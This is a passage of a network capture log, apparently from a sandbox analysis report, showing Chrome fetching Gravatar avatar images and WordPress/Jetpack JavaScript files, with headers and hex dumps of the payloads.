2024-03-28 08:51:08 UTC	668	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 b3 0c 00 aa a8 a0 91 8e 86 9d 9b 93 b7 b5 ad 9d 9b 92 b7 b5 ac 90 8f 86 aa a8 9f c3 c1 b9 d0 ce c5 77 75 6c 84 82 79 ff ff ff 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 05 00 00 0c 00 2c 00 00 00 00 10 00 10 00 00 04 4f 90 c9 c9 8c a1 98 06 7b b3 14 04 b3 59 cc b2 60 02 18 92 a6 49 a5 44 38 b5 e7 2b 53 ee 04 00 de a4 28 8c 83 f0 d0 fb fd 86 44 8f 11 28 ec 49 7e 94 c2 20 93 48 60 0a d2 e9 a4 5a 8d 66 19 08 04 83 6b 8d 4e c3 e1 71 d9 83 16 3b 27 e9 4c 04 00 21 f9 04 05 00 00 0c 00 2c 00 00 00 00 10 00 10 00 00 04 4e 90 c9 c9 04 a1 98 0a 7b b3 04 40 c5 31 86 81 1d e8 51 5d 41 69 4e a9 3a b5 e5 29 53 f5 54 0c de b4 2c 8c c2 8e e7 f9 fd 84 03 62 c6 08 dc f5 24 3f 0a 02 91 51 28 30 Data Ascii: GIF89awuly!NETSCAPE2.0!,O{Y`ID8+S(D(I~ H`ZfkNq;'L!,N{@1Q]AiN:)ST,b$?Q(0
2024-03-28 08:51:08 UTC	103	IN	Data Raw: 74 3b 11 00 21 f9 04 05 00 00 0c 00 2c 00 00 00 00 10 00 10 00 00 04 4d 90 c9 c9 94 a2 98 5a 9b e7 5a d5 c6 24 09 f6 7d e1 48 96 de 49 ad 6c 9b 91 94 61 74 13 82 30 b6 8d eb ba de ad 03 dc 05 02 38 89 8e 42 20 64 06 03 4c b3 49 81 42 29 82 ac 80 71 38 30 0a e0 02 26 cb 00 74 bd e0 a4 b9 9b a4 b0 33 11 00 3b Data Ascii: t;!,MZZ$}HIlat08B dLIB)q80&t3;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49852	192.0.73.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	396	OUT	GET /avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g HTTP/1.1 Host: secure.gravatar.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	532	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/jpeg Content-Length: 1528 Connection: close Last-Modified: Mon, 31 Oct 2016 12:00:47 GMT Link: <https://gravatar.com/avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g>; rel="canonical" Access-Control-Allow-Origin: * Content-Disposition: inline; filename="45a1676121b18dd38477fabfbc32859b.png" Expires: Thu, 28 Mar 2024 08:56:08 GMT Cache-Control: max-age=300 X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Accept-Ranges: bytes
2024-03-28 08:51:08 UTC	837	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3b 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 36 32 29 2c 20 71 75 61 6c 69 74 79 20 3d 20 39 30 0a ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 60 00 60 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 Data Ascii: JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90CC``"
2024-03-28 08:51:08 UTC	691	IN	Data Raw: 6d 0d bb 7f 7e 19 18 11 f8 12 47 e9 5e 7f e2 cf 86 f7 9e 1f 8d ee ad 5c de d9 2f 2c 40 c3 c6 3d c7 71 ee 2b da 3f cf 5a 08 0c 08 38 20 f5 06 80 3e 66 a2 ba cf 88 de 18 4f 0f 6b 02 4b 75 0b 67 74 0b a2 8e 88 df c4 bf a8 3f 8d 72 54 00 b4 52 7f 9e 94 50 01 45 14 b4 00 95 ec 3f 08 6d 56 2f 0e 4f 30 1f 3c b7 0d 93 ec 00 00 7f 3f ce bc 7a bd 6b e0 f6 a0 b2 e9 17 96 64 8f 32 19 bc cc 7f b2 c0 0f e6 a7 f3 a0 0f 41 a2 93 fc f4 a2 80 16 8a 4a 3f cf 4a 00 e2 be 2d da ac de 18 49 48 f9 a1 9d 48 3e c4 10 47 ea 3f 2a f1 aa f5 ef 8b fa 82 c1 a1 5b 5a 02 3c c9 e6 dd 8f f6 54 1c fe a4 57 91 50 02 7f 9e b4 52 d1 40 09 45 1d a8 a0 02 b6 3c 27 e2 29 3c 33 ac 45 76 80 bc 47 e4 96 30 7e f2 1e bf 8f 71 f4 ac 8a d1 d0 bc 3b 7d e2 3b af 22 ca 12 e4 7d f9 1b 84 41 ea 4d 00 7d 01 Data Ascii: m~G^\/,@=q+?Z8 >fOkKugt?rTRPE?mV/O0<?zkd2AJ?J-IHH>G?*[Z<TWPR@E<')<3EvG0~q;};"}AM}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49850	192.0.73.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	364	OUT	GET /avatar/?s=50&d=mm&r=g HTTP/1.1 Host: secure.gravatar.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	472	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/jpeg Content-Length: 1128 Connection: close Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT Link: <https://gravatar.com/avatar/?s=50&d=mm&r=g>; rel="canonical" Access-Control-Allow-Origin: * Content-Disposition: inline; filename="none.png" Expires: Thu, 28 Mar 2024 08:56:08 GMT Cache-Control: max-age=300 X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Accept-Ranges: bytes
2024-03-28 08:51:08 UTC	1128	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3b 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 36 32 29 2c 20 71 75 61 6c 69 74 79 20 3d 20 39 30 0a ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 32 00 32 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 Data Ascii: JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90CC22"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49849	192.0.77.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	543	OUT	GET /wp-content/js/rlt-proxy.js?m=20211122 HTTP/1.1 Host: s0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://widgets.wp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	480	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: application/javascript Content-Length: 3345 Connection: close Vary: Accept-Encoding x-minify: t x-minify-cache: hit etag: W/7325-1684464996769.1526 Expires: Thu, 30 May 2024 14:44:33 GMT Cache-Control: max-age=31536000 X-ac: 4.dca _dca MISS Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Timing-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 2
2024-03-28 08:51:08 UTC	889	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 76 61 72 20 74 3b 76 61 72 20 6e 3b 76 61 72 20 6f 3d 5b 5d 3b 76 61 72 20 72 3d 66 61 6c 73 65 3b 76 61 72 20 69 3d 22 6a 65 74 70 61 63 6b 3a 77 70 63 6f 6d 52 4c 54 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 74 2e 68 72 65 66 3d 65 3b 72 65 74 75 72 6e 20 74 2e 6f 72 69 67 69 6e 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 29 7b 69 66 28 21 65 29 7b 72 65 74 75 72 6e 7d 72 6c 74 49 6e 6a 65 63 74 54 6f 6b 65 6e 28 65 2c 74 2e 74 61 72 67 65 74 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2c 61 28 74 2e 74 61 72 67 65 74 2e 73 72 63 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 76 61 72 20 65 3d 64 6f Data Ascii: (function(){var e;var t;var n;var o=[];var r=false;var i="jetpack:wpcomRLT";function a(e){var t=document.createElement("a");t.href=e;return t.origin}function c(t){if(!e){return}rltInjectToken(e,t.target.contentWindow,a(t.target.src))}function d(){var e=do
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 2c 74 6f 6b 65 6e 3a 65 2c 73 6f 75 72 63 65 4f 72 69 67 69 6e 3a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 7d 7d 29 2c 6e 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 7d 7d 7d 77 69 6e 64 6f 77 2e 72 6c 74 49 6e 76 61 6c 69 64 61 74 65 54 6f 6b 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 69 66 28 6e 3d 3d 3d 65 29 7b 65 3d 6e 75 6c 6c 7d 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 3d 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 69 29 3d 3d 3d 6e 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e Data Ascii: ,token:e,sourceOrigin:window.location.origin}}),n)}catch(e){return}}}window.rltInvalidateToken=function(n,o){if(n===e){e=null}try{if(window.location===window.parent.location&&window.localStorage){if(window.localStorage.getItem(i)===n){window.localStorage.
2024-03-28 08:51:08 UTC	1087	IN	Data Raw: 72 65 6e 74 4f 72 69 67 69 6e 3b 74 72 79 7b 69 66 28 21 65 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 3d 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 7b 65 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 69 29 7d 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 69 6e 66 6f 28 22 6c 6f 63 61 6c 73 74 6f 72 61 67 65 20 61 63 63 65 73 73 20 64 65 6e 69 65 64 20 2d 20 70 72 6f 62 61 62 6c 79 20 62 6c 6f 63 6b 65 64 20 74 68 69 72 64 2d 70 61 72 74 79 20 61 63 63 65 73 73 22 2c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 7d 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 Data Ascii: rentOrigin;try{if(!e&&window.location===window.parent.location&&window.localStorage){e=window.localStorage.getItem(i)}}catch(e){console.info("localstorage access denied - probably blocked third-party access",window.location.href)}window.addEventListener("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49848	192.0.77.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	668	OUT	GET /_static/??/wp-content/js/postmessage.js,/wp-content/js/tannin/compat.min.js,/wp-content/js/wpcom-proxy-request.js,/wp-content/js/likes-rest-nojquery.js?m=20240322 HTTP/1.1 Host: s0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://widgets.wp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	484	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: application/javascript Content-Length: 95024 Connection: close Vary: Accept-Encoding Last-Modified: Fri, 22 Mar 2024 10:01:25 GMT Etag: "65fd56f5-17330" Expires: Sat, 22 Mar 2025 12:40:29 GMT Cache-Control: max-age=31536000 X-ac: 4.dca _dca MISS Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Timing-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 2
2024-03-28 08:51:08 UTC	885	IN	Data Raw: 2f 2a 2a 0a 20 54 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 30 20 44 61 6e 69 65 6c 20 50 61 72 6b 20 28 68 74 74 70 3a 2f 2f 6d 65 74 61 77 65 62 2e 63 6f 6d 2c 20 68 74 74 70 3a 2f 2f 70 6f 73 74 6d 65 73 73 61 67 65 2e 66 72 65 65 62 61 73 65 61 70 70 73 2e 63 6f 6d 29 0a 0a 20 50 65 72 6d 69 73 73 69 6f 6e 20 69 73 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 2c 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 2c 20 74 6f 20 61 6e 79 20 70 65 72 73 6f 6e 20 6f 62 74 61 69 6e 69 6e 67 20 61 20 63 6f 70 79 0a 20 6f 66 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 61 6e 64 20 61 73 73 6f 63 69 61 74 65 64 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 20 66 69 6c 65 73 20 28 74 68 65 20 22 53 6f 66 74 77 Data Ascii: /** The MIT License Copyright (c) 2010 Daniel Park (http://metaweb.com, http://postmessage.freebaseapps.com) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Softw
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 54 2e 20 49 4e 20 4e 4f 20 45 56 45 4e 54 20 53 48 41 4c 4c 20 54 48 45 0a 20 41 55 54 48 4f 52 53 20 4f 52 20 43 4f 50 59 52 49 47 48 54 20 48 4f 4c 44 45 52 53 20 42 45 20 4c 49 41 42 4c 45 20 46 4f 52 20 41 4e 59 20 43 4c 41 49 4d 2c 20 44 41 4d 41 47 45 53 20 4f 52 20 4f 54 48 45 52 0a 20 4c 49 41 42 49 4c 49 54 59 2c 20 57 48 45 54 48 45 52 20 49 4e 20 41 4e 20 41 43 54 49 4f 4e 20 4f 46 20 43 4f 4e 54 52 41 43 54 2c 20 54 4f 52 54 20 4f 52 20 4f 54 48 45 52 57 49 53 45 2c 20 41 52 49 53 49 4e 47 20 46 52 4f 4d 2c 0a 20 4f 55 54 20 4f 46 20 4f 52 20 49 4e 20 43 4f 4e 4e 45 43 54 49 4f 4e 20 57 49 54 48 20 54 48 45 20 53 4f 46 54 57 41 52 45 20 4f 52 20 54 48 45 20 55 53 45 20 4f 52 20 4f 54 48 45 52 20 44 45 41 4c 49 4e 47 53 20 49 4e 0a 20 54 48 45 Data Ascii: T. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 20 3d 3d 3d 20 74 72 75 65 29 3b 0a 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 2f 2f 20 75 6e 62 69 6e 64 20 70 6f 73 74 6d 65 73 73 61 67 65 20 68 61 6e 64 6c 65 72 0a 20 20 20 20 20 24 2e 70 6d 2e 75 6e 62 69 6e 64 20 3d 20 77 69 6e 64 6f 77 2e 70 6d 2e 75 6e 62 69 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 74 79 70 65 2c 20 66 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 70 6d 2e 75 6e 62 69 6e 64 28 74 79 70 65 2c 20 66 6e 29 3b 0a 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 2f 2f 20 64 65 66 61 75 6c 74 20 70 6f 73 74 6d 65 73 73 61 67 65 20 6f 72 69 67 69 6e 20 6f 6e 20 62 69 6e 64 0a 20 20 20 20 20 24 2e 70 6d 2e 6f 72 69 67 69 6e 20 3d 20 77 69 6e 64 6f 77 2e 70 6d 2e 6f 72 69 67 69 6e 20 3d 20 6e 75 6c 6c 3b 0a 0a 20 20 20 20 20 2f 2f 20 64 65 66 61 75 Data Ascii: === true); }; // unbind postmessage handler $.pm.unbind = window.pm.unbind = function(type, fn) { pm.unbind(type, fn); }; // default postmessage origin on bind $.pm.origin = window.pm.origin = null; // defau
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 63 5f 72 65 70 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 70 6d 2e 5f 72 65 70 6c 79 42 69 6e 64 20 28 20 74 79 70 65 2c 20 66 6e 2c 20 6f 72 69 67 69 6e 2c 20 68 61 73 68 2c 20 61 73 79 6e 63 5f 72 65 70 6c 79 20 29 3b 0a 20 20 20 20 20 20 20 20 20 7d 2c 0a 0a 20 20 20 20 20 20 20 20 20 5f 72 65 70 6c 79 42 69 6e 64 3a 20 66 75 6e 63 74 69 6f 6e 28 74 79 70 65 2c 20 66 6e 2c 20 6f 72 69 67 69 6e 2c 20 68 61 73 68 2c 20 69 73 43 61 6c 6c 62 61 63 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 22 70 6f 73 74 4d 65 73 73 61 67 65 22 20 69 6e 20 77 69 6e 64 6f 77 29 20 26 26 20 21 68 61 73 68 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6d 2e 5f 62 69 6e 64 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 Data Ascii: c_reply) { pm._replyBind ( type, fn, origin, hash, async_reply ); }, _replyBind: function(type, fn, origin, hash, isCallback) { if (("postMessage" in window) && !hash) { pm._bind(); }
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 72 65 6d 6f 76 65 20 61 6c 6c 20 6c 69 73 74 65 6e 65 72 73 20 62 79 20 74 79 70 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 65 6c 65 74 65 20 6c 5b 74 79 70 65 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } } else { // remove all listeners by type delete l[type]; } } else {
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 73 20 77 3f 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 70 6d 2e 64 61 74 61 28 22 6c 69 73 74 65 6e 69 6e 67 2e 70 6f 73 74 6d 65 73 73 61 67 65 22 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 20 70 6d 2e 5f 64 69 73 70 61 74 63 68 2c 20 66 61 6c 73 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 73 65 20 69 66 20 28 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 29 20 7b 0a 20 20 20 Data Ascii: s w? if (!pm.data("listening.postmessage")) { if (window.addEventListener) { window.addEventListener("message", pm._dispatch, false); } else if (window.attachEvent) {
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 3d 20 27 2a 27 20 26 26 20 65 2e 6f 72 69 67 69 6e 20 21 3d 3d 20 6f 2e 6f 72 69 67 69 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 70 6f 73 74 6d 65 73 73 61 67 65 20 6d 65 73 73 61 67 65 20 6f 72 69 67 69 6e 20 6d 69 73 6d 61 74 63 68 22 2c 20 65 2e 6f 72 69 67 69 6e 2c 20 6f 2e 6f 72 69 67 69 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 73 67 2e 65 72 72 62 61 63 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 6e 6f 74 69 66 79 20 70 6f 73 74 20 6d 65 73 73 61 67 65 20 65 72 72 62 61 63 6b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = '*' && e.origin !== o.origin) { console.warn("postmessage message origin mismatch", e.origin, o.origin); if (msg.errback) { // notify post message errback
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 2f 2f 20 6c 6f 63 61 74 69 6f 6e 20 68 61 73 68 20 70 6f 6c 6c 69 6e 67 0a 20 20 20 20 20 70 6d 2e 68 61 73 68 20 3d 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 73 65 6e 64 3a 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 2c 20 6d 73 67 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 63 Data Ascii: else { throw ex; } } }; } } }; // location hash polling pm.hash = { send: function(options, msg) { //c
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 2e 6e 61 6d 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 73 6f 75 72 63 65 5f 77 69 6e 64 6f 77 20 3d 3d 20 6e 75 6c 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 70 6f 73 74 6d 65 73 73 61 67 65 20 77 69 6e 64 6f 77 73 20 6d 75 73 74 20 62 65 20 64 69 72 65 63 74 20 70 61 72 65 6e 74 2f 63 68 69 6c 64 20 77 69 6e 64 6f 77 73 20 61 6e 64 20 74 68 65 20 63 68 69 6c 64 20 6d 75 73 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 20 74 68 72 6f 75 67 68 20 74 68 65 20 70 61 72 65 6e 74 20 77 69 6e 64 6f 77 2e 66 72 61 6d 65 73 20 6c 69 73 74 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: .name; } } if (source_window == null) { console.warn("postmessage windows must be direct parent/child windows and the child must be available through the parent window.frames list");
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6d 2e 68 61 73 68 2e 5f 6c 61 73 74 20 3d 20 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6d 2e 68 61 73 68 2e 5f 64 69 73 70 61 74 63 68 28 68 61 73 68 2e 73 75 62 73 74 72 69 6e 67 28 70 6d 2e 68 61 73 68 2e 5f 72 65 67 65 78 5f 6c 65 6e 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 20 24 2e 70 6d 2e 70 6f 6c 6c 20 7c 7c 20 32 30 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: m.hash._last = id; pm.hash._dispatch(hash.substring(pm.hash._regex_len)); } } }, $.pm.poll \|\| 200);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49856	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
